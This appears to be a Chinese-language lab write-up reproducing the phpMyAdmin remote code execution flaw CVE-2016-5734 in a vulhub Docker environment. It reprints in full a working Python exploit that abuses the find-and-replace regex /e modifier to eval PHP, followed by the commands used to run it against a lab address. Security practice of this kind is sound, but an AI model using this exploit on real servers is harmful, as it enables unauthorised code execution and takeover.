vulhub漏洞復現練習——phpMyAdmin(CVE-2016-5734)(遠程代碼執行漏洞)

2022-01-04 GSDNC

phpMyAdmin(CVE-2016-5734)(遠程代碼執行漏洞)

漏洞復現環境是在kali裡面配置的

vulhub下載連結

https://github.com/vulhub/vulhub

 

準備環境

docker-compose up -d

環境搭建好後,查看漏洞說明

cat README.zh-cn.md

根據說明去下載POC:

https://www.exploit-db.com/exploits/40185

 

POC如下:

#!/usr/bin/env python

 

"""cve-2016-5734.py:PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit

Details: Working only at PHP 4.3.0-5.4.6versions, because of regex break with null byte fixed in PHP 5.4.7.

CVE: CVE-2016-5734

Author: https://twitter.com/iamsecurity

run: ./cve-2016-5734.py -u root--pwd="" http://localhost/pma -c "system('ls -lua');"

"""

 

import requests

import argparse

import sys

 

__author__ = "@iamsecurity"

 

if __name__ == '__main__':

   parser = argparse.ArgumentParser()

   parser.add_argument("url", type=str, help="URL with pathto PMA")

   parser.add_argument("-c", "--cmd", type=str,help="PHP command(s) to eval()")

   parser.add_argument("-u", "--user", required=True,type=str, help="Valid PMA user")

   parser.add_argument("-p", "--pwd", required=True,type=str, help="Password for valid PMA user")

   parser.add_argument("-d", "--dbs", type=str,help="Existing database at a server")

   parser.add_argument("-T", "--table", type=str,help="Custom table name for exploit.")

   arguments = parser.parse_args()

   url_to_pma = arguments.url

   uname = arguments.user

   upass = arguments.pwd

   if arguments.dbs:

       db = arguments.dbs

   else:

       db = "test"

   token = False

   custom_table = False

   if arguments.table:

       custom_table = True

       table = arguments.table

   else:

       table = "prgpwn"

   if arguments.cmd:

       payload = arguments.cmd

   else:

       payload = "system('uname -a');"

 

   size = 32

    s= requests.Session()

    #you can manually add proxy support it's very simple ;)

    #s.proxies = {'http': "127.0.0.1:8080", 'https':"127.0.0.1:8080"}

   s.verify = False

   sql = '''CREATE TABLE `{0}` (

     `first` varchar(10) CHARACTER SET utf8 NOT NULL

    )ENGINE=InnoDB DEFAULT CHARSET=latin1;

   INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));

   '''.format(table)

 

    #get_token

   resp = s.post(url_to_pma + "/?lang=en", dict(

       pma_username=uname,

       pma_password=upass

   ))

   if resp.status_code is 200:

       token_place = resp.text.find("token=") + 6

       token = resp.text[token_place:token_place + 32]

   if token is False:

       print("Cannot get valid authorization token.")

       sys.exit(1)

 

   if custom_table is False:

       data = {

           "is_js_confirmed": "0",

           "db": db,

           "token": token,

           "pos": "0",

           "sql_query": sql,

           "sql_delimiter": ";",

           "show_query": "0",

           "fk_checks": "0",

           "SQL": "Go",

           "ajax_request": "true",

           "ajax_page_request": "true",

       }

       resp = s.post(url_to_pma + "/import.php", data,cookies=requests.utils.dict_from_cookiejar(s.cookies))

       if resp.status_code == 200:

           if "success" in resp.json():

                if resp.json()["success"]is False:

                    first =resp.json()["error"][resp.json()["error"].find("<code>")+6:]

                    error =first[:first.find("</code>")]

                    if "alreadyexists" in error:

                        print(error)

                    else:

                        print("ERROR:" + error)

                        sys.exit(1)

    #build exploit

   exploit = {

       "db": db,

       "table": table,

       "token": token,

       "goto":"sql.php",

       "find": "0/e\0",

       "replaceWith": payload,

       "columnIndex": "0",

       "useRegex": "on",

       "submit": "Go",

       "ajax_request": "true"

    }

   resp = s.post(

       url_to_pma + "/tbl_find_replace.php", exploit,cookies=requests.utils.dict_from_cookiejar(s.cookies)

    )

   if resp.status_code == 200:

       result =resp.json()["message"][resp.json()["message"].find("</a>")+8:]

       if len(result):

           print("result: " + result)

           sys.exit(0)

       print(

           "Exploit failed!\n"

           "Try to manually set exploit parameters like --table, --databaseand --token.\n"

           "Remember that servers with PHP version greater than 5.4.6"

           " is not exploitable, because of warning about null byte inregexp"

       )

       sys.exit(1)

           

訪問phpmyadmin登錄頁面

輸入root/root,登錄

利用POC進行漏洞利用

根據說明文檔裡面的提示

執行漏洞利用的腳本

python3 cve-2016-5734.py -c 'system(id);'-u root -p root -d test http://192.168.190.136:8080

python3 cve-2016-5734.py -u root--pwd="root" http://192.168.190.136:8080 -c "system('ls');"

 

 

相關焦點

  • Drupal 遠程代碼執行漏洞(CVE-2019-6339)復現
    漏洞概述Drupal core 7.62之前的7.x版本、8.6.6之前的8.6.x版本和8.5.9之前的8.5.x版本中的內置phar stream wrapper(PHP)存在遠程代碼執行漏洞。遠程攻擊者可利用該漏洞執行任意的php代碼。
  • CVE-2018-7600 Drupal遠程執行漏洞復現
    三年前,Drupal安全團隊披露了一個非常關鍵的漏洞,編號CVE-2018-7600 Drupal對表單請求內容未做嚴格過濾,因此,這使得攻擊者可能將惡意注入表單內容,此漏洞允許未經身份驗證的攻擊者在默認或常見的Drupal安裝上執行遠程代碼執行。由於公開較久,實戰遇到可能性不大,但並不影響我們搭建靶機進行漏洞復現實驗。本文以Drupal漏洞為例子,教大家如何使用LadonEXP一鍵生成POC。
  • 漏洞復現 | Struts遠程命令執行漏洞
    Apache Struts 2.3.x的strus1插件存在遠程代碼執行的高危漏洞,漏洞編號為CVE-2017-9791(S2-048)。在Struts 2.3.x 版本上的Showcase 插件ActionMessage類中,通過構建不可信的輸入可實現遠程命令攻擊。漏洞原因是當ActionMessage接收客戶可控的參數數據時,由於後續數據拼接傳遞後處理不當導致任意代碼執行。
  • Apache ActiveMQ 遠程代碼執行漏洞 (CVE-2016-3088)
    2016年4月14日,來自國外安全團隊(Trend Micro Zero Day Initiative)的 Simon Zuckerbraun和Andrea Micalizzi (rgod)安全研究人員 曝光 了Apache ActiveMQ Fileserver 存在多個安全漏洞,可使遠程攻擊者通過
  • Supervisord遠程命令執行漏洞復現(CVE-2017-11610)
    網上已經有很多類似的文章,這裡只是自己做一下學習和復現,如有問題可以私信或評論。本人會第一時間解決。而Supervisor的Web的服務其實很多人會用的比較多,也就是supervisord的客戶端,只要路由通,即可遠程通過Web頁面完成類似於supervisor的client端的操作。而通過Web界面的操作由XML-RPC接口實現,該漏洞也是出在XML-RPC接口對數據的處理上。
  • 技術乾貨 | 漏洞復現:CVE-2020-0796(SMBv3遠程代碼執行)漏洞復現
    目錄CVE-2020-0796    漏洞描述    漏洞危害等級            影響版本    漏洞復現    實現本地提權CVE-2020-0796漏洞描述>      2020年3月10日,微軟在其官方SRC發布了CVE-2020-0796的安全公告(ADV200005,MicrosoftGuidance for Disabling SMBv3 Compression),公告表示在Windows SMBv3版本的客戶端和服務端存在遠程代碼執行漏洞。
  • Apache Unomi 遠程代碼執行漏洞復現(CVE-2020-13942)
    漏洞介紹Apache Unomi是一個Java開源客戶數據平臺,這是一個Java伺服器
  • 【漏洞預警】CVE-2019-0708微軟遠程桌面服務遠程代碼執行漏洞(BlueKeep)復現
    ,其作業系統遠程桌面(Remote Desktop Services),俗稱的3389服務存在嚴重安全漏洞(編號CVE-2019-0708):攻擊者在沒有任何授權的情況下,可以遠程直接攻擊作業系統開放的3389服務,在受害主機上執行惡意攻擊行為,包括安裝後門,查看、篡改隱私數據,創建擁有完全用戶權限的新帳戶,影響範圍從Windows XP到Windows 2008 R2。
  • 【超詳細 | 附PoC】CVE-2021-2109 | Weblogic Server遠程代碼執行漏洞復現
    0x01 前言CVE-2021-2109,該漏洞為Weblogic的遠程代碼執行漏洞。
  • Apache Shiro RememberMe反序列化導致的命令執行漏洞 (CVE-2016-4437)復現
    攻擊者可以使用Shiro的默認密鑰偽造用戶Cookie,觸發Java反序列化漏洞,進而在目標機器上執行任意命令。漏洞環境執行如下命令啟動一個使用了Apache Shiro 1.2.4的Web服務:docker-compose up -d服務啟動後,訪問 http://your-ip:8080可使用 admin:vulhub進行登錄。
  • CVE-2020-13942 Apache Unomi 遠程代碼執行漏洞復現
    在Apache Unomi 1.5.1版本之前,攻擊者可以通過精心構造的MVEL或ONGl表達式來發送惡意請求,使得Unomi伺服器執行任意代碼執行。該漏洞編號為 CVE-2020-13942 ,漏洞等級:高危 ,漏洞評分:7.2Apache Unomi < 1.5.2漏洞項目https://github.com/vulhub/vulhub/tree/master/unomi/CVE-2020-13942虛擬機部署docker安裝
  • CVE-2021-21972Vmware遠程代碼執行漏洞復現
    vSphere Client(HTML5)在 vCenter Server 插件中存在一個遠程執行代碼漏洞。攻擊者可以通過開放 443 埠的伺服器向 vCenter Server 發送精心構造的請求,寫入webshell從而控制伺服器。
  • 路由器漏洞分析第五彈:CVE-2018-5767遠程代碼執行
    此前我們分析了四種路由器漏洞,現在終於寫到 PWN 類的漏洞了。傳送門:通過CVE-2017-17215學習路由器漏洞分析,從入坑到放棄路由器漏洞復現分析第二彈:CNVD-2018-01084路由器漏洞復現分析第三彈:DVRF INTRO題目分析路由器漏洞復現分析第四彈:CVE-2018-70341.漏洞概述CVE-2018-5767 TENDA AC15路由器權遠程代碼執行
  • Fastjson 1.2.47 RCE漏洞復現
    ,因為平時測試的時候,好像沒怎麼在意測試這個漏洞,復現過程中,漏洞環境挺好搭建的,只是在漏洞利用時,遇到了一些小問題,所以完整記錄下漏洞復現過程。0x 01環境搭建作業系統:ubuntu 18.04(fastjson漏洞環境) 、win10(ldap服務、Web服務)、vps(接收反彈shell)這裡環境搭建用的github上公開的vulhub(https://github.com/vulhub/vulhub),操作簡單好用,運行在docker中,非常方便。
  • PostgreSQL 高權限命令執行漏洞(CVE-2019-9193)復現
    > 簡介 PostgreSQL( 讀作 Post-Gres-Q-L)是一個功能非常強大的、原始碼開放的客戶
  • Apache Struts2--061遠程代碼執行漏洞復現
    Apache Struts於2020年12月08日披露 S2-061 Struts 遠程代碼執行漏洞,開發人員使用了 %{…} 語法,從而攻擊者可以通過構Payload,從而造成遠程代碼執行。該漏洞編號為 CVE-2020-17530 ,漏洞等級:高危 ,漏洞評分:7.5S2-061是對S2-059沙盒進行的繞過!
  • Atlassian Jira 模板注入漏洞(CVE-2019-11581)復現
    漏洞描述Atlassian Jira是企業廣泛使用的項目與事務跟蹤工具,被廣泛應用於缺陷跟蹤、客戶服務、需求收集
  • ECShop 2.x SQL注入/任意代碼執行漏洞分析復現
    漏洞簡介ecshop2.x 代碼執行問題發生在user.php的display函數
  • CVE-2020-2883漏洞復現
    (CVE-2020-2883、CVE-2020-2884),允許未經身份驗證的攻擊者通過T3協議網絡訪問並破壞易受攻擊的WebLogic Server,成功的漏洞利用可導致WebLogic Server被攻擊者接管,從而造成遠程代碼執行。
  • 漏洞復現之五: Fastjson<=1.2.24反序列化漏洞復現
    0x00 漏洞描述CVE-2017-18349,前臺無回顯RCE。